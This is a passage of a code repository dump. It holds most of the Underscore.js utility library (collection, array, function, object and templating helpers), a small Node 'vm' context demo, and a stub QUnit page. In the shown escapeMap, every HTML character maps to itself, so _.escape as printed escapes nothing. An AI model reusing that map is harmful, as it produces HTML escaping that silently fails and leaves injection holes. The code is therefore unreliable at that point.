func.apply(value, args); }); }; // Convenience version of a common use case of `map`: fetching a property. _.pluck = function(obj, key) { return _.map(obj, _.property(key)); }; // Convenience version of a common use case of `filter`: selecting only objects // containing specific `key:value` pairs. _.where = function(obj, attrs) { return _.filter(obj, _.matcher(attrs)); }; // Convenience version of a common use case of `find`: getting the first object // containing specific `key:value` pairs. _.findWhere = function(obj, attrs) { return _.find(obj, _.matcher(attrs)); }; // Return the maximum element (or element-based computation). _.max = function(obj, iteratee, context) { var result = -Infinity, lastComputed = -Infinity, value, computed; if (iteratee == null && obj != null) { obj = isArrayLike(obj) ? obj : _.values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value > result) { result = value; } } } else { iteratee = cb(iteratee, context); _.each(obj, function(value, index, list) { computed = iteratee(value, index, list); if (computed > lastComputed || computed === -Infinity && result === -Infinity) { result = value; lastComputed = computed; } }); } return result; }; // Return the minimum element (or element-based computation). _.min = function(obj, iteratee, context) { var result = Infinity, lastComputed = Infinity, value, computed; if (iteratee == null && obj != null) { obj = isArrayLike(obj) ? obj : _.values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value < result) { result = value; } } } else { iteratee = cb(iteratee, context); _.each(obj, function(value, index, list) { computed = iteratee(value, index, list); if (computed < lastComputed || computed === Infinity && result === Infinity) { result = value; lastComputed = computed; } }); } return result; }; // Shuffle a collection, using the modern version of the // [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle). _.shuffle = function(obj) { var set = isArrayLike(obj) ? obj : _.values(obj); var length = set.length; var shuffled = Array(length); for (var index = 0, rand; index < length; index++) { rand = _.random(0, index); if (rand !== index) shuffled[index] = shuffled[rand]; shuffled[rand] = set[index]; } return shuffled; }; // Sample **n** random values from a collection. // If **n** is not specified, returns a single random element. // The internal `guard` argument allows it to work with `map`. _.sample = function(obj, n, guard) { if (n == null || guard) { if (!isArrayLike(obj)) obj = _.values(obj); return obj[_.random(obj.length - 1)]; } return _.shuffle(obj).slice(0, Math.max(0, n)); }; // Sort the object's values by a criterion produced by an iteratee. _.sortBy = function(obj, iteratee, context) { iteratee = cb(iteratee, context); return _.pluck(_.map(obj, function(value, index, list) { return { value: value, index: index, criteria: iteratee(value, index, list) }; }).sort(function(left, right) { var a = left.criteria; var b = right.criteria; if (a !== b) { if (a > b || a === void 0) return 1; if (a < b || b === void 0) return -1; } return left.index - right.index; }), 'value'); }; // An internal function used for aggregate "group by" operations. var group = function(behavior) { return function(obj, iteratee, context) { var result = {}; iteratee = cb(iteratee, context); _.each(obj, function(value, index) { var key = iteratee(value, index, obj); behavior(result, value, key); }); return result; }; }; // Groups the object's values by a criterion. Pass either a string attribute // to group by, or a function that returns the criterion. _.groupBy = group(function(result, value, key) { if (_.has(result, key)) result[key].push(value); else result[key] = [value]; }); // Indexes the object's values by a criterion, similar to `groupBy`, but for // when you know that your index values will be unique. _.indexBy = group(function(result, value, key) { result[key] = value; }); // Counts instances of an object that group by a certain criterion. Pass // either a string attribute to count by, or a function that returns the // criterion. _.countBy = group(function(result, value, key) { if (_.has(result, key)) result[key]++; else result[key] = 1; }); // Safely create a real, live array from anything iterable. _.toArray = function(obj) { if (!obj) return []; if (_.isArray(obj)) return slice.call(obj); if (isArrayLike(obj)) return _.map(obj, _.identity); return _.values(obj); }; // Return the number of elements in an object. _.size = function(obj) { if (obj == null) return 0; return isArrayLike(obj) ? obj.length : _.keys(obj).length; }; // Split a collection into two arrays: one whose elements all satisfy the given // predicate, and one whose elements all do not satisfy the predicate. _.partition = function(obj, predicate, context) { predicate = cb(predicate, context); var pass = [], fail = []; _.each(obj, function(value, key, obj) { (predicate(value, key, obj) ? pass : fail).push(value); }); return [pass, fail]; }; // Array Functions // --------------- // Get the first element of an array. Passing **n** will return the first N // values in the array. Aliased as `head` and `take`. The **guard** check // allows it to work with `_.map`. _.first = _.head = _.take = function(array, n, guard) { if (array == null) return void 0; if (n == null || guard) return array[0]; return _.initial(array, array.length - n); }; // Returns everything but the last entry of the array. Especially useful on // the arguments object. Passing **n** will return all the values in // the array, excluding the last N. _.initial = function(array, n, guard) { return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n))); }; // Get the last element of an array. Passing **n** will return the last N // values in the array. _.last = function(array, n, guard) { if (array == null) return void 0; if (n == null || guard) return array[array.length - 1]; return _.rest(array, Math.max(0, array.length - n)); }; // Returns everything but the first entry of the array. Aliased as `tail` and `drop`. // Especially useful on the arguments object. Passing an **n** will return // the rest N values in the array. _.rest = _.tail = _.drop = function(array, n, guard) { return slice.call(array, n == null || guard ? 1 : n); }; // Trim out all falsy values from an array. _.compact = function(array) { return _.filter(array, _.identity); }; // Internal implementation of a recursive `flatten` function. var flatten = function(input, shallow, strict, startIndex) { var output = [], idx = 0; for (var i = startIndex || 0, length = getLength(input); i < length; i++) { var value = input[i]; if (isArrayLike(value) && (_.isArray(value) || _.isArguments(value))) { //flatten current level of array or arguments object if (!shallow) value = flatten(value, shallow, strict); var j = 0, len = value.length; output.length += len; while (j < len) { output[idx++] = value[j++]; } } else if (!strict) { output[idx++] = value; } } return output; }; // Flatten out an array, either recursively (by default), or just one level. _.flatten = function(array, shallow) { return flatten(array, shallow, false); }; // Return a version of the array that does not contain the specified value(s). _.without = function(array) { return _.difference(array, slice.call(arguments, 1)); }; // Produce a duplicate-free version of the array. If the array has already // been sorted, you have the option of using a faster algorithm. // Aliased as `unique`. _.uniq = _.unique = function(array, isSorted, iteratee, context) { if (!_.isBoolean(isSorted)) { context = iteratee; iteratee = isSorted; isSorted = false; } if (iteratee != null) iteratee = cb(iteratee, context); var result = []; var seen = []; for (var i = 0, length = getLength(array); i < length; i++) { var value = array[i], computed = iteratee ? iteratee(value, i, array) : value; if (isSorted) { if (!i || seen !== computed) result.push(value); seen = computed; } else if (iteratee) { if (!_.contains(seen, computed)) { seen.push(computed); result.push(value); } } else if (!_.contains(result, value)) { result.push(value); } } return result; }; // Produce an array that contains the union: each distinct element from all of // the passed-in arrays. _.union = function() { return _.uniq(flatten(arguments, true, true)); }; // Produce an array that contains every item shared between all the // passed-in arrays. _.intersection = function(array) { var result = []; var argsLength = arguments.length; for (var i = 0, length = getLength(array); i < length; i++) { var item = array[i]; if (_.contains(result, item)) continue; for (var j = 1; j < argsLength; j++) { if (!_.contains(arguments[j], item)) break; } if (j === argsLength) result.push(item); } return result; }; // Take the difference between one array and a number of other arrays. // Only the elements present in just the first array will remain. _.difference = function(array) { var rest = flatten(arguments, true, true, 1); return _.filter(array, function(value){ return !_.contains(rest, value); }); }; // Zip together multiple lists into a single array -- elements that share // an index go together. _.zip = function() { return _.unzip(arguments); }; // Complement of _.zip. Unzip accepts an array of arrays and groups // each array's elements on shared indices _.unzip = function(array) { var length = array && _.max(array, getLength).length || 0; var result = Array(length); for (var index = 0; index < length; index++) { result[index] = _.pluck(array, index); } return result; }; // Converts lists into objects. Pass either a single array of `[key, value]` // pairs, or two parallel arrays of the same length -- one of keys, and one of // the corresponding values. _.object = function(list, values) { var result = {}; for (var i = 0, length = getLength(list); i < length; i++) { if (values) { result[list[i]] = values[i]; } else { result[list[i][0]] = list[i][1]; } } return result; }; // Generator function to create the findIndex and findLastIndex functions function createPredicateIndexFinder(dir) { return function(array, predicate, context) { predicate = cb(predicate, context); var length = getLength(array); var index = dir > 0 ? 0 : length - 1; for (; index >= 0 && index < length; index += dir) { if (predicate(array[index], index, array)) return index; } return -1; }; } // Returns the first index on an array-like that passes a predicate test _.findIndex = createPredicateIndexFinder(1); _.findLastIndex = createPredicateIndexFinder(-1); // Use a comparator function to figure out the smallest index at which // an object should be inserted so as to maintain order. Uses binary search. _.sortedIndex = function(array, obj, iteratee, context) { iteratee = cb(iteratee, context, 1); var value = iteratee(obj); var low = 0, high = getLength(array); while (low < high) { var mid = Math.floor((low + high) / 2); if (iteratee(array[mid]) < value) low = mid + 1; else high = mid; } return low; }; // Generator function to create the indexOf and lastIndexOf functions function createIndexFinder(dir, predicateFind, sortedIndex) { return function(array, item, idx) { var i = 0, length = getLength(array); if (typeof idx == 'number') { if (dir > 0) { i = idx >= 0 ? idx : Math.max(idx + length, i); } else { length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1; } } else if (sortedIndex && idx && length) { idx = sortedIndex(array, item); return array[idx] === item ? idx : -1; } if (item !== item) { idx = predicateFind(slice.call(array, i, length), _.isNaN); return idx >= 0 ? idx + i : -1; } for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) { if (array[idx] === item) return idx; } return -1; }; } // Return the position of the first occurrence of an item in an array, // or -1 if the item is not included in the array. // If the array is large and already in sort order, pass `true` // for **isSorted** to use binary search. _.indexOf = createIndexFinder(1, _.findIndex, _.sortedIndex); _.lastIndexOf = createIndexFinder(-1, _.findLastIndex); // Generate an integer Array containing an arithmetic progression. A port of // the native Python `range()` function. See // [the Python documentation](http://docs.python.org/library/functions.html#range). _.range = function(start, stop, step) { if (stop == null) { stop = start || 0; start = 0; } step = step || 1; var length = Math.max(Math.ceil((stop - start) / step), 0); var range = Array(length); for (var idx = 0; idx < length; idx++, start += step) { range[idx] = start; } return range; }; // Function (ahem) Functions // ------------------ // Determines whether to execute a function as a constructor // or a normal function with the provided arguments var executeBound = function(sourceFunc, boundFunc, context, callingContext, args) { if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args); var self = baseCreate(sourceFunc.prototype); var result = sourceFunc.apply(self, args); if (_.isObject(result)) return result; return self; }; // Create a function bound to a given object (assigning `this`, and arguments, // optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if // available. _.bind = function(func, context) { if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1)); if (!_.isFunction(func)) throw new TypeError('Bind must be called on a function'); var args = slice.call(arguments, 2); var bound = function() { return executeBound(func, bound, context, this, args.concat(slice.call(arguments))); }; return bound; }; // Partially apply a function by creating a version that has had some of its // arguments pre-filled, without changing its dynamic `this` context. _ acts // as a placeholder, allowing any combination of arguments to be pre-filled. _.partial = function(func) { var boundArgs = slice.call(arguments, 1); var bound = function() { var position = 0, length = boundArgs.length; var args = Array(length); for (var i = 0; i < length; i++) { args[i] = boundArgs[i] === _ ? arguments[position++] : boundArgs[i]; } while (position < arguments.length) args.push(arguments[position++]); return executeBound(func, bound, this, this, args); }; return bound; }; // Bind a number of an object's methods to that object. Remaining arguments // are the method names to be bound. Useful for ensuring that all callbacks // defined on an object belong to it. _.bindAll = function(obj) { var i, length = arguments.length, key; if (length <= 1) throw new Error('bindAll must be passed function names'); for (i = 1; i < length; i++) { key = arguments[i]; obj[key] = _.bind(obj[key], obj); } return obj; }; // Memoize an expensive function by storing its results. _.memoize = function(func, hasher) { var memoize = function(key) { var cache = memoize.cache; var address = '' + (hasher ? hasher.apply(this, arguments) : key); if (!_.has(cache, address)) cache[address] = func.apply(this, arguments); return cache[address]; }; memoize.cache = {}; return memoize; }; // Delays a function for the given number of milliseconds, and then calls // it with the arguments supplied. _.delay = function(func, wait) { var args = slice.call(arguments, 2); return setTimeout(function(){ return func.apply(null, args); }, wait); }; // Defers a function, scheduling it to run after the current call stack has // cleared. _.defer = _.partial(_.delay, _, 1); // Returns a function, that, when invoked, will only be triggered at most once // during a given window of time. Normally, the throttled function will run // as much as it can, without ever going more than once per `wait` duration; // but if you'd like to disable the execution on the leading edge, pass // `{leading: false}`. To disable execution on the trailing edge, ditto. _.throttle = function(func, wait, options) { var context, args, result; var timeout = null; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : _.now(); timeout = null; result = func.apply(context, args); if (!timeout) context = args = null; }; return function() { var now = _.now(); if (!previous && options.leading === false) previous = now; var remaining = wait - (now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; result = func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } return result; }; }; // Returns a function, that, as long as it continues to be invoked, will not // be triggered. The function will be called after it stops being called for // N milliseconds. If `immediate` is passed, trigger the function on the // leading edge, instead of the trailing. _.debounce = function(func, wait, immediate) { var timeout, args, context, timestamp, result; var later = function() { var last = _.now() - timestamp; if (last < wait && last >= 0) { timeout = setTimeout(later, wait - last); } else { timeout = null; if (!immediate) { result = func.apply(context, args); if (!timeout) context = args = null; } } }; return function() { context = this; args = arguments; timestamp = _.now(); var callNow = immediate && !timeout; if (!timeout) timeout = setTimeout(later, wait); if (callNow) { result = func.apply(context, args); context = args = null; } return result; }; }; // Returns the first function passed as an argument to the second, // allowing you to adjust arguments, run code before and after, and // conditionally execute the original function. _.wrap = function(func, wrapper) { return _.partial(wrapper, func); }; // Returns a negated version of the passed-in predicate. _.negate = function(predicate) { return function() { return !predicate.apply(this, arguments); }; }; // Returns a function that is the composition of a list of functions, each // consuming the return value of the function that follows. _.compose = function() { var args = arguments; var start = args.length - 1; return function() { var i = start; var result = args[start].apply(this, arguments); while (i--) result = args[i].call(this, result); return result; }; }; // Returns a function that will only be executed on and after the Nth call. _.after = function(times, func) { return function() { if (--times < 1) { return func.apply(this, arguments); } }; }; // Returns a function that will only be executed up to (but not including) the Nth call. _.before = function(times, func) { var memo; return function() { if (--times > 0) { memo = func.apply(this, arguments); } if (times <= 1) func = null; return memo; }; }; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. _.once = _.partial(_.before, 2); // Object Functions // ---------------- // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed. var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString'); var nonEnumerableProps = ['valueOf', 'isPrototypeOf', 'toString', 'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString']; function collectNonEnumProps(obj, keys) { var nonEnumIdx = nonEnumerableProps.length; var constructor = obj.constructor; var proto = (_.isFunction(constructor) && constructor.prototype) || ObjProto; // Constructor is a special case. var prop = 'constructor'; if (_.has(obj, prop) && !_.contains(keys, prop)) keys.push(prop); while (nonEnumIdx--) { prop = nonEnumerableProps[nonEnumIdx]; if (prop in obj && obj[prop] !== proto[prop] && !_.contains(keys, prop)) { keys.push(prop); } } } // Retrieve the names of an object's own properties. // Delegates to **ECMAScript 5**'s native `Object.keys` _.keys = function(obj) { if (!_.isObject(obj)) return []; if (nativeKeys) return nativeKeys(obj); var keys = []; for (var key in obj) if (_.has(obj, key)) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; }; // Retrieve all the property names of an object. _.allKeys = function(obj) { if (!_.isObject(obj)) return []; var keys = []; for (var key in obj) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; }; // Retrieve the values of an object's properties. _.values = function(obj) { var keys = _.keys(obj); var length = keys.length; var values = Array(length); for (var i = 0; i < length; i++) { values[i] = obj[keys[i]]; } return values; }; // Returns the results of applying the iteratee to each element of the object // In contrast to _.map it returns an object _.mapObject = function(obj, iteratee, context) { iteratee = cb(iteratee, context); var keys = _.keys(obj), length = keys.length, results = {}, currentKey; for (var index = 0; index < length; index++) { currentKey = keys[index]; results[currentKey] = iteratee(obj[currentKey], currentKey, obj); } return results; }; // Convert an object into a list of `[key, value]` pairs. _.pairs = function(obj) { var keys = _.keys(obj); var length = keys.length; var pairs = Array(length); for (var i = 0; i < length; i++) { pairs[i] = [keys[i], obj[keys[i]]]; } return pairs; }; // Invert the keys and values of an object. The values must be serializable. _.invert = function(obj) { var result = {}; var keys = _.keys(obj); for (var i = 0, length = keys.length; i < length; i++) { result[obj[keys[i]]] = keys[i]; } return result; }; // Return a sorted list of the function names available on the object. // Aliased as `methods` _.functions = _.methods = function(obj) { var names = []; for (var key in obj) { if (_.isFunction(obj[key])) names.push(key); } return names.sort(); }; // Extend a given object with all the properties in passed-in object(s). _.extend = createAssigner(_.allKeys); // Assigns a given object with all the own properties in the passed-in object(s) // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) _.extendOwn = _.assign = createAssigner(_.keys); // Returns the first key on an object that passes a predicate test _.findKey = function(obj, predicate, context) { predicate = cb(predicate, context); var keys = _.keys(obj), key; for (var i = 0, length = keys.length; i < length; i++) { key = keys[i]; if (predicate(obj[key], key, obj)) return key; } }; // Return a copy of the object only containing the whitelisted properties. _.pick = function(object, oiteratee, context) { var result = {}, obj = object, iteratee, keys; if (obj == null) return result; if (_.isFunction(oiteratee)) { keys = _.allKeys(obj); iteratee = optimizeCb(oiteratee, context); } else { keys = flatten(arguments, false, false, 1); iteratee = function(value, key, obj) { return key in obj; }; obj = Object(obj); } for (var i = 0, length = keys.length; i < length; i++) { var key = keys[i]; var value = obj[key]; if (iteratee(value, key, obj)) result[key] = value; } return result; }; // Return a copy of the object without the blacklisted properties. _.omit = function(obj, iteratee, context) { if (_.isFunction(iteratee)) { iteratee = _.negate(iteratee); } else { var keys = _.map(flatten(arguments, false, false, 1), String); iteratee = function(value, key) { return !_.contains(keys, key); }; } return _.pick(obj, iteratee, context); }; // Fill in a given object with default properties. _.defaults = createAssigner(_.allKeys, true); // Creates an object that inherits from the given prototype object. // If additional properties are provided then they will be added to the // created object. _.create = function(prototype, props) { var result = baseCreate(prototype); if (props) _.extendOwn(result, props); return result; }; // Create a (shallow-cloned) duplicate of an object. _.clone = function(obj) { if (!_.isObject(obj)) return obj; return _.isArray(obj) ? obj.slice() : _.extend({}, obj); }; // Invokes interceptor with the obj, and then returns obj. // The primary purpose of this method is to "tap into" a method chain, in // order to perform operations on intermediate results within the chain. _.tap = function(obj, interceptor) { interceptor(obj); return obj; }; // Returns whether an object has a given set of `key:value` pairs. _.isMatch = function(object, attrs) { var keys = _.keys(attrs), length = keys.length; if (object == null) return !length; var obj = Object(object); for (var i = 0; i < length; i++) { var key = keys[i]; if (attrs[key] !== obj[key] || !(key in obj)) return false; } return true; }; // Internal recursive comparison function for `isEqual`. var eq = function(a, b, aStack, bStack) { // Identical objects are equal. `0 === -0`, but they aren't identical. // See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal). if (a === b) return a !== 0 || 1 / a === 1 / b; // A strict comparison is necessary because `null == undefined`. if (a == null || b == null) return a === b; // Unwrap any wrapped objects. if (a instanceof _) a = a._wrapped; if (b instanceof _) b = b._wrapped; // Compare `[[Class]]` names. var className = toString.call(a); if (className !== toString.call(b)) return false; switch (className) { // Strings, numbers, regular expressions, dates, and booleans are compared by value. case '[object RegExp]': // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i') case '[object String]': // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is // equivalent to `new String("5")`. return '' + a === '' + b; case '[object Number]': // `NaN`s are equivalent, but non-reflexive. // Object(NaN) is equivalent to NaN if (+a !== +a) return +b !== +b; // An `egal` comparison is performed for other numeric values. return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': // Coerce dates and booleans to numeric primitive values. Dates are compared by their // millisecond representations. Note that invalid dates with millisecond representations // of `NaN` are not equivalent. return +a === +b; } var areArrays = className === '[object Array]'; if (!areArrays) { if (typeof a != 'object' || typeof b != 'object') return false; // Objects with different constructors are not equivalent, but `Object`s or `Array`s // from different frames are. var aCtor = a.constructor, bCtor = b.constructor; if (aCtor !== bCtor && !(_.isFunction(aCtor) && aCtor instanceof aCtor && _.isFunction(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // Assume equality for cyclic structures. The algorithm for detecting cyclic // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. // Initializing stack of traversed objects. // It's done here since we only need them for objects and arrays comparison. aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { // Linear search. Performance is inversely proportional to the number of // unique nested structures. if (aStack[length] === a) return bStack[length] === b; } // Add the first object to the stack of traversed objects. aStack.push(a); bStack.push(b); // Recursively compare objects and arrays. if (areArrays) { // Compare array lengths to determine if a deep comparison is necessary. length = a.length; if (length !== b.length) return false; // Deep compare the contents, ignoring non-numeric properties. while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } else { // Deep compare objects. var keys = _.keys(a), key; length = keys.length; // Ensure that both objects contain the same number of properties before comparing deep equality. if (_.keys(b).length !== length) return false; while (length--) { // Deep compare each member key = keys[length]; if (!(_.has(b, key) && eq(a[key], b[key], aStack, bStack))) return false; } } // Remove the first object from the stack of traversed objects. aStack.pop(); bStack.pop(); return true; }; // Perform a deep comparison to check if two objects are equal. _.isEqual = function(a, b) { return eq(a, b); }; // Is a given array, string, or object empty? // An "empty" object has no enumerable own-properties. _.isEmpty = function(obj) { if (obj == null) return true; if (isArrayLike(obj) && (_.isArray(obj) || _.isString(obj) || _.isArguments(obj))) return obj.length === 0; return _.keys(obj).length === 0; }; // Is a given value a DOM element? _.isElement = function(obj) { return !!(obj && obj.nodeType === 1); }; // Is a given value an array? // Delegates to ECMA5's native Array.isArray _.isArray = nativeIsArray || function(obj) { return toString.call(obj) === '[object Array]'; }; // Is a given variable an object? _.isObject = function(obj) { var type = typeof obj; return type === 'function' || type === 'object' && !!obj; }; // Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp, isError. _.each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp', 'Error'], function(name) { _['is' + name] = function(obj) { return toString.call(obj) === '[object ' + name + ']'; }; }); // Define a fallback version of the method in browsers (ahem, IE < 9), where // there isn't any inspectable "Arguments" type. if (!_.isArguments(arguments)) { _.isArguments = function(obj) { return _.has(obj, 'callee'); }; } // Optimize `isFunction` if appropriate. Work around some typeof bugs in old v8, // IE 11 (#1621), and in Safari 8 (#1929). if (typeof /./ != 'function' && typeof Int8Array != 'object') { _.isFunction = function(obj) { return typeof obj == 'function' || false; }; } // Is a given object a finite number? _.isFinite = function(obj) { return isFinite(obj) && !isNaN(parseFloat(obj)); }; // Is the given value `NaN`? (NaN is the only number which does not equal itself). _.isNaN = function(obj) { return _.isNumber(obj) && obj !== +obj; }; // Is a given value a boolean? _.isBoolean = function(obj) { return obj === true || obj === false || toString.call(obj) === '[object Boolean]'; }; // Is a given value equal to null? _.isNull = function(obj) { return obj === null; }; // Is a given variable undefined? _.isUndefined = function(obj) { return obj === void 0; }; // Shortcut function for checking if an object has a given property directly // on itself (in other words, not on a prototype). _.has = function(obj, key) { return obj != null && hasOwnProperty.call(obj, key); }; // Utility Functions // ----------------- // Run Underscore.js in *noConflict* mode, returning the `_` variable to its // previous owner. Returns a reference to the Underscore object. _.noConflict = function() { root._ = previousUnderscore; return this; }; // Keep the identity function around for default iteratees. _.identity = function(value) { return value; }; // Predicate-generating functions. Often useful outside of Underscore. _.constant = function(value) { return function() { return value; }; }; _.noop = function(){}; _.property = property; // Generates a function for a given object that returns a given property. _.propertyOf = function(obj) { return obj == null ? function(){} : function(key) { return obj[key]; }; }; // Returns a predicate for checking whether an object has a given set of // `key:value` pairs. _.matcher = _.matches = function(attrs) { attrs = _.extendOwn({}, attrs); return function(obj) { return _.isMatch(obj, attrs); }; }; // Run a function **n** times. _.times = function(n, iteratee, context) { var accum = Array(Math.max(0, n)); iteratee = optimizeCb(iteratee, context, 1); for (var i = 0; i < n; i++) accum[i] = iteratee(i); return accum; }; // Return a random integer between min and max (inclusive). _.random = function(min, max) { if (max == null) { max = min; min = 0; } return min + Math.floor(Math.random() * (max - min + 1)); }; // A (possibly faster) way to get the current timestamp as an integer. _.now = Date.now || function() { return new Date().getTime(); }; // List of HTML entities for escaping. var escapeMap = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '`': '`' }; var unescapeMap = _.invert(escapeMap); // Functions for escaping and unescaping strings to/from HTML interpolation. var createEscaper = function(map) { var escaper = function(match) { return map[match]; }; // Regexes for identifying a key that needs to be escaped var source = '(?:' + _.keys(map).join('|') + ')'; var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, 'g'); return function(string) { string = string == null ? '' : '' + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }; }; _.escape = createEscaper(escapeMap); _.unescape = createEscaper(unescapeMap); // If the value of the named `property` is a function then invoke it with the // `object` as context; otherwise, return it. _.result = function(object, property, fallback) { var value = object == null ? void 0 : object[property]; if (value === void 0) { value = fallback; } return _.isFunction(value) ? value.call(object) : value; }; // Generate a unique integer id (unique within the entire client session). // Useful for temporary DOM ids. var idCounter = 0; _.uniqueId = function(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; }; // By default, Underscore uses ERB-style template delimiters, change the // following template settings to use alternative delimiters. _.templateSettings = { evaluate : /<%([\s\S]+?)%>/g, interpolate : /<%=([\s\S]+?)%>/g, escape : /<%-([\s\S]+?)%>/g }; // When customizing `templateSettings`, if you don't want to define an // interpolation, evaluation or escaping regex, we need one that is // guaranteed not to match. var noMatch = /(.)^/; // Certain characters need to be escaped so that they can be put into a // string literal. var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escaper = /\\|'|\r|\n|\u2028|\u2029/g; var escapeChar = function(match) { return '\\' + escapes[match]; }; // JavaScript micro-templating, similar to John Resig's implementation. // Underscore templating handles arbitrary delimiters, preserves whitespace, // and correctly escapes quotes within interpolated code. // NB: `oldSettings` only exists for backwards compatibility. _.template = function(text, settings, oldSettings) { if (!settings && oldSettings) settings = oldSettings; settings = _.defaults({}, settings, _.templateSettings); // Combine delimiters into one regular expression via alternation. var matcher = RegExp([ (settings.escape || noMatch).source, (settings.interpolate || noMatch).source, (settings.evaluate || noMatch).source ].join('|') + '|$', 'g'); // Compile the template source, escaping string literals appropriately. var index = 0; var source = "__p+='"; text.replace(matcher, function(match, escape, interpolate, evaluate, offset) { source += text.slice(index, offset).replace(escaper, escapeChar); index = offset + match.length; if (escape) { source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'"; } else if (interpolate) { source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'"; } else if (evaluate) { source += "';\n" + evaluate + "\n__p+='"; } // Adobe VMs need the match returned to produce the correct offest. return match; }); source += "';\n"; // If a variable is not specified, place data values in local scope. if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n'; source = "var __t,__p='',__j=Array.prototype.join," + "print=function(){__p+=__j.call(arguments,'');};\n" + source + 'return __p;\n'; try { var render = new Function(settings.variable || 'obj', '_', source); } catch (e) { e.source = source; throw e; } var template = function(data) { return render.call(this, data, _); }; // Provide the compiled source as a convenience for precompilation. var argument = settings.variable || 'obj'; template.source = 'function(' + argument + '){\n' + source + '}'; return template; }; // Add a "chain" function. Start chaining a wrapped Underscore object. _.chain = function(obj) { var instance = _(obj); instance._chain = true; return instance; }; // OOP // --------------- // If Underscore is called as a function, it returns a wrapped object that // can be used OO-style. This wrapper holds altered versions of all the // underscore functions. Wrapped objects may be chained. // Helper function to continue chaining intermediate results. var result = function(instance, obj) { return instance._chain ? _(obj).chain() : obj; }; // Add your own custom functions to the Underscore object. _.mixin = function(obj) { _.each(_.functions(obj), function(name) { var func = _[name] = obj[name]; _.prototype[name] = function() { var args = [this._wrapped]; push.apply(args, arguments); return result(this, func.apply(_, args)); }; }); }; // Add all of the Underscore functions to the wrapper object. _.mixin(_); // Add all mutator Array functions to the wrapper. _.each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { var method = ArrayProto[name]; _.prototype[name] = function() { var obj = this._wrapped; method.apply(obj, arguments); if ((name === 'shift' || name === 'splice') && obj.length === 0) delete obj[0]; return result(this, obj); }; }); // Add all accessor Array functions to the wrapper. _.each(['concat', 'join', 'slice'], function(name) { var method = ArrayProto[name]; _.prototype[name] = function() { return result(this, method.apply(this._wrapped, arguments)); }; }); // Extracts the result from a wrapped and chained object. _.prototype.value = function() { return this._wrapped; }; // Provide unwrapping proxy for some methods used in engine operations // such as arithmetic and JSON stringification. _.prototype.valueOf = _.prototype.toJSON = _.prototype.value; _.prototype.toString = function() { return '' + this._wrapped; }; // AMD registration happens at the end for compatibility with AMD loaders // that may not enforce next-turn semantics on modules. Even though general // practice for AMD registration is to be anonymous, underscore registers // as a named module because, like jQuery, it is a base library that is // popular enough to be bundled in a third party lib, but not be part of // an AMD load request. Those cases could generate an error when an // anonymous define() is called outside of a loader request. if (typeof define === 'function' && define.amd) { define('underscore', [], function() { return _; }); } }.call(this)); ================================================ FILE: demos/node-vm/index.js ================================================ /** * http://www.alloyteam.com/2015/04/xiang-jie-nodejs-di-vm-mo-kuai/ */ var vm = require("vm"); var util = require("util"); var window = { p: 2, vm: vm, console: console, require: require }; var p = 5; global.p = 11; vm.createContext(window); // global是 undefined // vm.runInContext('p = 3;console.log(global);', window); // 报错 window is not defined // vm.runInContext('p = 3;console.log(window);', window); // this 是有值的 vm.runInContext('p = 3;console.log(this);', window); // console.log(window.p);// 被改变为3 // console.log(util.inspect(window)); ================================================ FILE: demos/qunit/index.html ================================================ Set 的模拟实现
